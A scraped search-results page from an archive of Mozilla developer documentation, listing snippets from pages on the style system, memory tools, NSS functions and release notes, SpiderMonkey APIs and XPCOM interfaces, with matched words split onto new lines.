frames in quirks mode marginwidth and marginheight on a
frame are propagated to the contained body.
...And 2 more matches
Mozilla Style System
in one half (the backend) are the sources of specified style data, and in the other half (the
frontend) is the code that turns the specified values into computed values.
...the methods on nsistyleruleprocessor allow the
front end to ask the back ends for the style data that applies to a given element or pseudo-element, in the form of style rules.
... computed style (
front end) the interface that the
front end exposes to the rest of mozilla consists of a single nsstyleset object and many nsstylecontext objects, each of which holds the computed style for an element, pseudo-element, or text node.
...And 2 more matches
BloatView
this could indicate a hand-written release method (that doesn't use the ns_log_release macro
from nstracerefcnt.h), or perhaps you're just not
freeing any of the instances you've allocated.
... class name instance size bytes allocated bytes allocated but not
freed blank mozilla yahoo netscape total blank mozilla yahoo netscape total total 1754408 432556 179828 404184 2770976 nsstr 20 6261600 3781900 1120920 1791340 12955760 222760 4876...
... the second set of columns, bytes allocated but not
freed, shows the net memory gain or loss by subtracting the amount of memory
freed
from the amount allocated.
...And 2 more matches
Memory reporting
mozilla code has in
frastructure that lets different parts of the code report on their memory usage.
...internal
fragmentation).
...d::sizeofexcludingthis must also call b::sizeofexcludingthis, to ensure that any objects pointed to by fields inherited
from b are measured.
...And 2 more matches
Profiling with Instruments
official apple documentation instruments user guide instruments user reference instruments help articles instruments help performance overview basic usage select "time profiler"
from the "choose a profiling template for:" dialog.
...click "all processes" and select "firefox"
from the "running applications" section.
...switch
from "statistics".
...And 2 more matches
about:memory
loading memory reports
from file the easiest way to load memory reports
from file is to use the "load..." button.
... single memory report files can also be loaded automatically when about:memory is loaded by appending a file query string, for example: about:memory?file=/home/username/reports.json.gz this is most useful when loading memory reports files obtained
from a firefox os device.
... the "js-non-window" sub-tree represents javascript memory usage that doesn't come
from windows, but
from the browser core.
...And 2 more matches
PR_PopIOLayer
removes a layer
from the stack.
... syntax #include <prio.h> prfiledesc *pr_popiolayer( prfiledesc *stack, prdescidentity id); parameters the function has the following parameters: stack a pointer to a prfiledesc object representing the stack
from which the specified layer is to be removed.
... id identity of the layer to be removed
from the stack.
...And 2 more matches
Certificate functions
later cert_addextension mxr 3.5 and later cert_addocspacceptableresponses mxr 3.6 and later cert_addokdomainname mxr 3.4 and later cert_addrdn mxr 3.2.1 and later cert_asciitoname mxr 3.2 and later cert_cachecrl mxr 3.10 and later cert_clearocspcache mxr 3.11.7 and later cert_certchain
fromcert mxr 3.2 and later cert_certlist
fromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr 3.12 and later cert_checkcertusage mxr 3.3 and later cert_comparename mxr 3.2 an...
...t_createcertificaterequest mxr 3.2 and later cert_createname mxr 3.2.1 and later cert_createocspcertid mxr 3.6 and later cert_createocsprequest mxr 3.6 and later cert_createrdn mxr 3.2.1 and later cert_createsubjectcertlist mxr 3.4 and later cert_createvalidity mxr 3.5 and later cert_crlcachere
freshissuer mxr 3.7 and later cert_decodealtnameextension mxr 3.10 and later cert_decodeauthinfoaccessextension mxr 3.10 and later cert_decodeauthkeyid mxr 3.10 and later cert_decodeavavalue mxr 3.4 and later cert_decodebasicconstraintvalue mxr 3.2 and later cert_decodecert
frompackage mxr 3.4 and later ...
...le mxr 3.2 and later cert_findsubjectkeyidextension mxr 3.7 and later cert_findusercertbyusage mxr 3.4 and later cert_findusercertsbyusage mxr 3.4 and later cert_finishcertificaterequestattributes mxr 3.10 and later cert_finishextensions mxr 3.5 and later cert_formatname mxr 3.2 and later cert_
freedistnames mxr 3.2 and later cert_
freenicknames mxr 3.2 and later cert_getavatag mxr 3.2 and later cert_getcertchain
fromcert mxr 3.4 and later cert_getcertemailaddress mxr 3.2 and later cert_getcertificatenames mxr 3.10 and later cert_getcertificaterequestextensions mxr 3.10 and later cert_get...
...And 2 more matches
NSS 3.15 release notes
in secitem.h secitem_allocarray secitem_duparray secitem_
freearray secitem_z
freearray - utility functions to handle the allocation and deallocation of secitemarrays secitem_reallocitemv2 - replaces secitem_reallocitem, which is now obsolete.
... nss has migrated
from cvs to the mercurial source control management system.
... applications that use ssl_authcertificatehook to override the default handler should add appropriate calls to ssl_peerstapledocspresponse and cert_cacheocspresponse
fromsidechannel.
...And 2 more matches
NSS 3.24 release notes
in fips mode, you may move
from level 1 to level 2 (by setting an appropriate password), but not the reverse.
...ssl_configservercert automatically determines the certificate type
from the certificate and private key.
...rather than declaring a plarenapool pointer and calling port_newarena/port_
freearena to allocate or
free an instance on the heap, declare a portcheaparenapool on the stack and use port_initcheaparena/port_destroycheaparena to initialize and destroy it.
...And 2 more matches
NSS 3.47 release notes
notable changes in nss 3.47 bug 1152625 - support aes hw acceleration on armv8 bug 1267894 - allow per-socket run-time ordering of the cipher suites presented in clienthello bug 1570501 - add cmac to
freebl and pkcs #11 libraries bugs fixed in nss 3.47 bug 1459141 - make softoken cbc padding removal constant time bug 1589120 - more cbc padding tests bug 1465613 - add ability to distrust certificates issued after a certain date for a specified root cert bug 1588557 - bad debug statement in tls13con.c bug 1579060 - mozilla::pkix tag definitions for issueruniqueid and subjectuniqueid shoul...
...dn't have the constructed bit set bug 1583068 - nss 3.47 should pick up fix
from bug 1575821 (nspr 4.23) bug 1152625 - support aes hw acceleration on armv8 bug 1549225 - disable dsa signature schemes for tls 1.3 bug 1586947 - pk11_importandreturnprivatekey does not store nickname for ec keys bug 1586456 - unnecessary conditional in pki3hack, pk11load and stanpcertdb bug 1576307 - check mechanism param and param length before casting to mechanism-specific structs bug 1577953 - support longer (up to rfc maximum) hkdf outputs bug 1508776 - remove refcounting
from sftk_
freesession (cve-2019-11756) bug 1494063 - support tls exporter in tstclnt and selfserv bug 1581024 - heap overflow in nss utility "derdump" bug 1582343 - soft token mac verification not constant time bug 1578238 - han...
...1577448 - create additional nested s/mime test messages for thunderbird bug 1399095 - allow nss-try to be used to test nspr changes bug 1267894 - libssl should allow selecting the order of cipher suites in clienthello bug 1581507 - fix unportable grep expression in test scripts bug 1234830 - [cid 1242894][cid 1242852] unused values bug 1580126 - fix build failure on aarch64_be while building
freebl/gcm bug 1385039 - build nspr tests as part of nss continuous integration bug 1581391 - fix build on openbsd/arm64 after bug #1559012 bug 1581041 - mach-commands -> mach-completion bug 1558313 - code bugs found by clang scanners.
...And 2 more matches
sslcrt.html
[a-z] matches any character between a and z [^az] matches any character except a or z ~ followed by another shell expression removes any pattern matching the shell expression
from the match list (foo|bar) matches either the substring foo or the substring bar.
...when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both
frees the memory and sets all the bits to zero.
... getting certificate information cert_findcertbyname cert_getcertnicknames cert_
freenicknames cert_getdefaultcertdb nss_findcertkeatype cert_findcertbyname finds the certificate in the certificate database with a specified dn.
...And 2 more matches
TLS Cipher Suite Discovery
tls does not allow all possible combinations of choices
from those categories to be used.
...libssl provides enough information about each of the supported cipher suites that the application can construct a display of that information
from which the user can choose which cipher suites his application will attempt to use.
...the cipher suites are listed in the table in order of preference,
from the most preferred cipher suite to the least preferred.
...And 2 more matches
Utility functions
ter port_arenagrow mxr 3.2 and later port_arenamark mxr 3.2 and later port_arenarelease mxr 3.2 and later port_arenastrdup mxr 3.2 and later port_arenaunmark mxr 3.2 and later port_arenazalloc mxr 3.2 and later port_
free mxr 3.2 and later port_
freearena mxr 3.2 and later port_geterror mxr 3.2 and later port_newarena mxr 3.2 and later port_realloc mxr 3.2 and later port_seterror mxr 3.2 and later port_setucs2_asciiconversionfunction mxr ...
...nction mxr 3.2 and later port_setucs4_utf8conversionfunction mxr 3.2 and later port_strdup mxr 3.5 and later port_ucs2_asciiconversion mxr 3.2 and later port_ucs2_utf8conversion mxr 3.2 and later port_zalloc mxr 3.2 and later port_z
free mxr 3.2 and later rsa_formatblock mxr 3.2 and later sec_asn1decode mxr 3.4 and later sec_asn1decodeinteger mxr 3.2 and later sec_asn1decodeitem mxr 3.2 and later sec_asn1decoderabort mxr 3.9 and later sec_asn1decoderclearfilterpr...
... later sec_asn1encodeinteger mxr 3.2 and later sec_asn1encodeitem mxr 3.2 and later sec_asn1encoderabort mxr 3.9 and later sec_asn1encoderclearnotifyproc mxr 3.2 and later sec_asn1encoderclearstreaming mxr 3.2 and later sec_asn1encodercleartake
frombuf mxr 3.2 and later sec_asn1encoderfinish mxr 3.2 and later sec_asn1encodersetnotifyproc mxr 3.2 and later sec_asn1encodersetstreaming mxr 3.2 and later sec_asn1encodersettake
frombuf mxr 3.2 and later sec_asn1encoderstart mxr 3.2 and later ...
...And 2 more matches
SpiderMonkey compartments
in the old model, javascript objects could be co-located with arbitrary other javascript objects
from other origins.
... such cross-origin objects are used together very in
frequently, which reduces the number of cache hits we get.
...spidermonkey tracks the creation of these cross-compartment wrappers and thus it knows at all times what objects
from a compartment are kept alive by outside references (through cross-compartment wrappers).
...And 2 more matches
FOSS
feel
free to add your own spidermonkey-based open source projects (and if necessary add categories)!
... flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls
from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.
frisch.
fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ - bindings to cross-embed spidermonkey and perl.
... includes a js shell that allows you to use cpan modules
from javascript.
...And 2 more matches
Functions
an algol-like function may read the local variables and arguments of its immediate enclosing function
from the stack, as if by magic.
... (jscontext::display caches the enclosing function's stack
frame.) if that function is also algol-like, its child can read locals and variables
from the next enclosing function, and so on.
...suppose a function reads some variables
from enclosing functions but is not algol-like.
...And 2 more matches
Self-hosted builtins in SpiderMonkey
differences
from normal javascript all self-hosted code is strict, so self-hosted functions invoked in a null or undefined scope won't be run in the scope of the global object.
...this restriction was added because otherwise it's extremely easy to accidentally call methods that have been changed by content, changing the behavior
from what was expected.
...a prototype property can be added
from the self-hosted code itself.
...And 2 more matches
JIT Optimization Outcomes
singleton one of the types present in the typeset was a singleton type, preventing the optimization
from being enabled.
... inconsistentfieldtype the type of an unboxed field is not consistent across all the different types of objects it could be accessed
from.
... inconsistentfieldoffset the offset of an unboxed field is not consistent across all the different types of objects it could be accessed
from.
...And 2 more matches
JS::PersistentRooted
if there is any path
from that referent back to the js object, then the c++ object containing the persistentrooted will not be destructed, and the whole blob of objects will not be
freed, even if there are no references to them
from the outside.
... before spidermonkey 38, persistentrooted<t> itself cannot be a global variable, but
from spidermonkey38, it can be declared as a global variable, and initialized later with init() method (bug 1107639).
...bject; typedef persistentrooted<jsscript*> persistentrootedscript; typedef persistentrooted<jsstring*> persistentrootedstring; typedef persistentrooted<js::symbol*> persistentrootedsymbol; // added in spidermonkey 38 typedef persistentrooted<value> persistentrootedvalue; } example following example allocates persistentrootedvalue, and provides two functions for setting and getting it
from javascript.
...And 2 more matches
JS_AddArgumentFormatter
callback syntax jsbool (*jsargumentformatter)(jscontext *cx, const char *format, jsbool
fromjs, jsval **vpp, va_list *app); name type description cx jscontext * the context in which the conversion is being performed.
...
fromjs jsbool js_true if the conversion function should convert
from jsval values to c values; js_false if the conversion function should convert
from c values to jsval values.
...for a given format string, for example "aa", the formatter is called
from js_convertargumentsva like so: formatter(cx, "aa...", js_true, &sp, &ap); sp points into the arguments array on the js stack, while ap points into the stdarg.h va_list on the c stack.
...And 2 more matches
JS_Add*Root
register a variable as a member of the garbage collector's root set, to protect anything the root points at
from garbage collection.
...the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data
from being prematurely collected.
...if js_add*root succeeds, then as long as this variable points to a javascript value or pointer to gc-thing, that value/gc-thing is protected
from garbage collection.
...And 2 more matches
JS_ClearContextThread
transfer a jscontext
from one thread to another.
... syntax jsword js_clearcontextthread(jscontext *cx); jsword js_setcontextthread(jscontext *cx); name type description cx jscontext * the context to transfer
from one thread to another.
... description an application that creates or uses a jscontext in one thread, then uses or destroys it in another thread, must use js_clearcontextthread and js_setcontextthread to transfer the jscontext safely
from one thread to the other.
...And 2 more matches
JS_ExecuteScript
objects in the vector should be ordered
from inner to the outer scope.
...on success, rval receives the value
from the last executed expression statement processed in the script.
... if the script executes successfully, rval receives the value
from the last executed expression statement processed in the script, and js_executescript returns true.
...And 2 more matches
JS_MaybeGC
description js_maybegc tries to determine whether garbage collection in cx's runtime would
free up enough memory to be worth the amount of time it would take.
... calling js_maybegc when the application is idle can help prevent garbage collection
from happening at less convenient times.
... calling js_maybegc periodically when the application is busy,
from a jsbranchcallback or jsoperationcallback added in spidermonkey 1.8, can keep memory usage down and improve performance.
...And 2 more matches
JS_SetGCZeal
syntax void js_setgczeal(jscontext *cx, uint8_t zeal, uint32_t
frequency); name type description cx jscontext * a context.
...
frequency uint32_t with some zeal levels, a gc is triggered every
frequency allocations.
... 2 collect when every
frequency allocations.
...And 2 more matches
SpiderMonkey 1.8.8
these release notes are an incomplete draft and were initially seeded
from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 1.8.8 (nor is it even the case that the version number will be 1.8.8!).
...typedef changes many types have been removed
from the jsapi and replaced with simpler alternatives.
... js_isscript
frame jsclass_new_resolve_gets_start flag js_newnumbervalue api changes break out and discuss all api changes here...
...And 2 more matches
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded
from the (now-defunct) 1.8.8 release notes, which were themselves seeded
from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 17.
...typedef changes many types have been removed
from the jsapi and replaced with simpler alternatives.
... js_isscript
frame jsclass_new_resolve_gets_start flag js_newnumbervalue js_finalizestub js_clearnewbornroots jsclass_mark_is_trace flag js_setscriptstackquota api changes break out and discuss all api changes here...
...And 2 more matches
Thread Sanitizer
it uses a compile-time instrumentation to check all non-race-
free memory access at runtime.
...the version of clang you need to use depends on what firefox release you are compiling if you are building
from mozilla-central, you must use clang 3.6 or later.
... you can check which version of clang you have by running the command: clang -v if you are not building
from mozilla-central and are building firefox 39 or earlier, you must use clang 3.3.
...And 2 more matches
WebReplayRoadmap
code path highlighting (not yet implemented) when paused in a
frame, the code path taken through the
frame (the lines/expressions executed) could be highlighted somehow, which would make it easier to see what happened in the
frame.
... one important issue is that any side effects
from evaluating expressions via the console or the debugger's watch expressions will not carry over when the tab resumes executing.
... doing this well will require some experimentation, but in many cases the buggy recording should hit different locations in the source or exhibit different types
from the normal recording.
...And 2 more matches
Mozilla Projects
generated
from c/c++ using clang, or
from another language) and compiles that into javascript, which can be run on the web.
... l20n l20n lets localizers reach higher levels of
free linguistic expression by sharpening the divide between localization and application logic.
... necko necko is a network library that provides a platform-independent api for several layers of networking, ranging
from transport to presentation layers.
...And 2 more matches
AT APIs Support
developing a xul window is not that different
from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets.
... examples of xul applications: firefox - web-browser thunderbird - email client seamonkey - web-browser, advanced e-mail and newsgroup client, irc chat client, and html editing made simple sunbird - cross-platform calendar application kompozer - a complete web authoring system for linux desktop, microsoft windows and macintosh users to rival programs like
frontpage and dreamweaver.
... open komodo - platform for building developer environments miro - a
free, open source internet tv and video player any xulrunner application (songbird media player, etc.) extensions to other xul apps (e.g.
...And 2 more matches
Packaging WebLock
javascript apis
from the xpinstall install object download the jar in which the installable files appear and call registration methods that tell mozilla about the new component and the ui it uses to access the weblock component.
... weblock installation script is the completetrigger installation script, which can be launched
from a web page.
... the next section shows how this process of downloading, copying and registering the necessary files
from the xpi can be achieved with an xpinstall installation script.
...And 2 more matches
Components.utils.exportFunction
this function provides a safe way to expose a function
from a privileged scope to a less-privileged scope.
...a function exported
from privileged to less-privileged code can be called
from the less privileged code's context.
... allowcallbacks: deprecated/redundant
from firefox 34.
...And 2 more matches
Components.utils
exportfunction() export a javascript function
from a more-privileged to a less-privileged scope, allowing it to be called in the less-privileged scope.
... makeobjectpropsnormal() ensures that all functions come
from the specified object's scope, and aren't cross-compartment wrappers.
... may only be called
from javascript code.
...And 2 more matches
XPConnect wrappers
for practical advice on dealing with wrappers, see safely accessing content dom
from chrome.
...because these are wrapped, you won't be able to peek down inside them
from the console.
... this wrapper is responsible for mapping calls
from javascript into c++.
...And 2 more matches
IAccessibleEditableText
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) this interface is typically used in conjunction with the iaccessibletext interface and complements that interface with the additional capability of clipboard operations.
...the text between the two given indices is deleted
from the text represented by this object and copied to the clipboard.
...the text between and including the two given indices is deleted
from the text represented by this object.
...And 2 more matches
IAccessibleTable2
1.0 66 introduced gecko 1.9.2 inherits
from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) please also refer to the iaccessibletablecell interface.
...servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or
from other threads.
...
free it with cotaskmem
free.
...And 2 more matches
mozIRegistry
it happens that this objective requires storing information about which implementation to use in a place distinct
from your source code.
...lastly, there's one component (labelled "mozrd
fregistry/nsirdfdatabase") that potentially will emerge as an improved implementation of one of the moziregistry interfaces.
...nsrepository is essentially a mapping
from xpcom clsids to class factories, plus code to manage that mapping, including functions that create instances of a given clsid.
...And 2 more matches
mozISpellCheckingEngine
inherits
from: nsisupports last changed in gecko 1.7 this interface represents a spell checking engine.
...this will be either element
from the array returned by getdictionarylist() or an empty string if no dictionary is selected.
...void adddirectory( nsifile dir ); parameters dir an nsifile object indicating the directory
from which to add dictionaries.
...And 2 more matches
mozIStorageFunction
last changed in gecko 1.9.1.4 (firefox 3.5.4) inherits
from: nsisupports method overview nsivariant onfunctioncall(in mozistoragevaluearray afunctionarguments); methods onfunctioncall() the implementation of the function.
...if you use mozistorageconnection.executeasync() or, mozistoragestatement.executeasync() this callback will run on a different thread
from the rest of your code.
...let stmt = dbconn.createstatement("select square(value)
from some_table"); try { while (stmt.executestep()) { // handle the results } } finally { stmt.reset(); } in earlier versions of gecko, however, you'll need to actually create an object containing the onfunctioncall method.
...And 2 more matches
nsIAccessibleHyperText
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessiblehyperlink getlink(in long linkindex); long getlinkindex(in long charindex); long getselectedlinkindex(); obsolete since gecko 1.9 attributes attribute type description linkcount long the number of links contained within this hypertext object.
...note: renamed
from links in gecko 1.9 methods getlink() retrieves the nsiaccessiblehyperlink object at the given link index.
... exceptions thrown ns_error_failure indicates that the accessible is unattached
from the accessible tree.
...And 2 more matches
nsIAccessibleRelation
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) note: be carefull, do not change constants until atk has a structure to map gecko constants into atk constants.
... note: the label and description (see relation_described_by) relations may be used to prevent redundant information
from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible.
... relation_flows_to 0x07 content flows
from this object to a target object, that is has content that flows logically to another object in a sequential way, for example text flow.
...And 2 more matches
nsIAuthModule
inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void getnexttoken([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void init(in string aservicename, in unsigned long aserviceflags, in wstring adomain, in wstring ausername, in wstring apassword); void unwrap([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void wrap([const] in voidptr aintoken, in unsigned long aintokenlength, in boolean confidential, out voidptr aouttoken, out un...
...void getnexttoken( [const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength ); parameters aintoken a buffer containing the input token (for example a challenge
from a server).
...the buffer at aouttoken must be recycled with a call to nsimemory.
free().
...And 2 more matches
nsICategoryManager
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/categorymanager;1.
... deletecategoryentry() delete an entry
from the category.
...this pointer must be released using nsimemory.
free() when it is no longer needed.
...And 2 more matches
nsIChannelEventSink
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) channels will try to get this interface
from a channel's notificationcallbacks or, if not available there,
from the loadgroup's notificationcallbacks.
...by calling oldchannel->cancel() there is a certain
freedom in implementing this method: if the return-value indicates success, a callback on callback is required.
... this callback can be done
from within asynconchannelredirect() (effectively making the call synchronous) or at some point later (making the call asynchronous).
...And 2 more matches
nsIClassInfo
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type description classdescription string a human readable string naming the class, or null.
... this attribute is similar to the classid attribute; however, this attribute exists so that c++ callers can avoid allocating and
freeing a nscid object, as would happen if they used classid.
...it has no meaning when returned
from the flags attribute of a nsiclassinfo implementation.
...And 2 more matches
nsIComponentManager
66 introduced gecko 0.7 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void addbootstrappedmanifestlocation(in nsilocalfile alocation); void createinstance(in nscidref aclass, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void createinstancebycontractid(in string acontractid, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getclassobject(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result)...
...; void getclassobjectbycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void removebootstrappedmanifestlocation(in nsilocalfile alocation); methods addbootstrappedmanifestlocation() loads a "bootstrapped" chrome.manifest file
from the specified directory or xpi file.
...until gecko 10 you had to call this method manually
from within the add-on's startup() method (with a matching removebootstrappedmanifestlocation() call in the add-on's shutdown() method).
...And 2 more matches
nsIConsoleService
inherits
from: nsisupports last changed in gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16) implemented by: @mozilla.org/consoleservice;1 as a service: var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); method overview void getmessagearray([array, size_is(count)] out nsiconsolemessage messages, out uint32_t count);obsolete since gecko 19 void getmessagearray([optional] out uin...
...if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called
from the script.
...if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called
from the script.
...And 2 more matches
nsIContentPrefService
last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits
from: nsisupports implemented by: @mozilla.org/content-pref/service;1.
...useful for accessing and manipulating preferences in ways that are caller-specific or for which there is not yet a generic method, although generic functionality useful to multiple callers should generally be added to this un
frozen interface.
...specify null to get the preference
from the global preference space; those preferences apply to all sites.
...And 2 more matches
nsICookieManager
last changed in gecko 1.7 inherits
from: nsisupports this interface is intended to be used as a service.
... methods remove() this method is called to remove an individual cookie
from the cookie list, specified by host, name, and path.
...typically, the arguments to this method will be obtained directly
from the desired nsicookie object.
...And 2 more matches
nsICryptoHMAC
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void update
fromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms.
...to create the key object use for instance: var keyobject = components.classes["@mozilla.org/security/keyobjectfactory;1"] .getservice(components.interfaces.nsikeyobjectfactory) .key
fromstring(components.interfaces.nsikeyobject.hmac, rawkeydata); exceptions thrown ns_error_invalid_arg if an unsupported algorithm type is passed.
... update
fromstream() calculates and updates a new hash based on a given data stream.
...And 2 more matches
nsIDOMStorage2
a dom window's local storage object can be retrieved
from the window's localstorage attribute.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in local storage.
...getitem() returns
from local storage the data corresponding to the specified key.
...And 2 more matches
nsIDOMWindow
it represents a single window object that may contain child windows if the document in the window contains an html
frameset document, or if the document contains i
frame elements.
... 66 introduced gecko 1.0 deprecated gecko 44 inherits
from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) starting with firefox 44, this file is empty as its features were either no longer used or are only available
from c++ code; see dom/base/nspidomwindow.h for those.
... while this interface is not officially defined by any standard bodies, it originates
from the de-facto dom level 0 standard.
...And 2 more matches
nsIDOMXULElement
66 introduced gecko 1.0 inherits
from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute.
...gets or creates a box object for the element; browser, editor, i
frame, listbox, menu, menupopup, scrollbox, tooltip and tree elements receive specialized box objects allowing access to additional properties not normally available
from script.
... resource nsird
fresource read only.
...And 2 more matches
nsIFileInputStream
netwerk/base/nsifilestreams.idlscriptable an input stream that allows you to read
from a file.
... inherits
from: nsiinputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constant value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
... it may be removed before the stream is closed if it is possible to delete it and still read
from it.
...And 2 more matches
nsIJetpack
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void sendmessage(in astring amessagename /* [optional] in jsval v1, [optional] in jsval v2, ...
...void registerreceiver( in astring amessagename, in jsval areceiver ); parameters amessagename the name of the message
from the jetpack process on which the callback is triggered.
...if the message was sent synchronously
from the jetpack process via callmessage(), then the return value of this function is passed back to the jetpack process.
...And 2 more matches
nsIJumpListBuilder
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) jump lists are built and then applied.
...users may remove items
from jump lists after they are committed.
...applications that use recent or
frequent lists should keep document use tracking up to date by calling the shaddtorecentdocs shell api.
...And 2 more matches
nsILivemarkService
1.0 66 introduced gecko 1.8 obsolete gecko 22.0 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this interface is obsolete.
... siteuri the uri of the site
from which the livemark was created.
... siteuri the uri of the site
from which the livemark was created.
...And 2 more matches
nsIModule
inherits
from: nsisupports last changed in gecko 0.9.9 method overview boolean canunload(in nsicomponentmanager acompmgr); void getclassobject(in nsicomponentmanager acompmgr, in nscidref aclass, in nsiidref aiid, [retval, iid_is(aiid)] out nsqiresult aresult); void registerself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr, in string atype); void unregisterself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr); methods canunload() this method may be queried to determine whether or not the component modul...
...if the component module is native (that is, as part of a dll), then this method may be called to determine whether or not the dll may be unloaded
from memory.
...getclassobject() obtains a class object
from a nsimodule for a given cid and iid pair.
...And 2 more matches
nsIMsgDBHdr
inherits
from: nsisupports this interface is usually given to you in return to a query
from the message database.
... author string indicates the author of this message; the equivalent header is the
from: header.
...this value is extracted
from the content-type header.
...And 2 more matches
nsIMsgMessageService
inherits
from: nsisupports method overview void copymessage(in string asrcuri, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsimsgwindow amsgwindow, out nsiuri aurl); [noscript] void copymessages(in nsmsgkeyarrayptr keys, in nsimsgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsimsgwindow amsgwindow, out nsiuri aurl); void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in ...
... aconvertdata if aconvertdata is true, it will create a stream converter
from message rfc2822 to */*.
...e.g., header=filter return the nsiuri that gets run example for example, the next piece of code shows the selected message code on a dialog: (taken
from mozillazine) var content = ""; var messageuri = getfirstselectedmessage(); var msgservice = messenger.messageservice
fromuri(messageuri); var msgstream = components.classes["@mozilla.org/network/sync-stream-listener;1"].createinstance(); var consumer = msgstream.queryinterface(components.interfaces.nsiinputstream); var scriptinput = components.classes["@mozilla.org/scriptableinputstream;1"].createinstance(); var scriptinputstream = scriptinput.queryinterface(components.interfaces.nsiscriptableinputstream); scriptinputstream.init(consumer); try { msgservice.streammessag...
...And 2 more matches
nsINavBookmarkObserver
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) method overview void onbeforeitemremoved(in long long aitemid, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); obsolete since gecko 21.0 void onbeginupdatebatch(); void onendupdatebatch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolderchanged(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 f...
...during a batch the observer should do its best to reduce the work done to handle notifications, since multiple changes are going to happen in a short time
frame.
... adateadded the stored date added value, in microseconds
from the epoch.
...And 2 more matches
nsINavHistoryService
1.0 66 introduced gecko 1.8 inherits
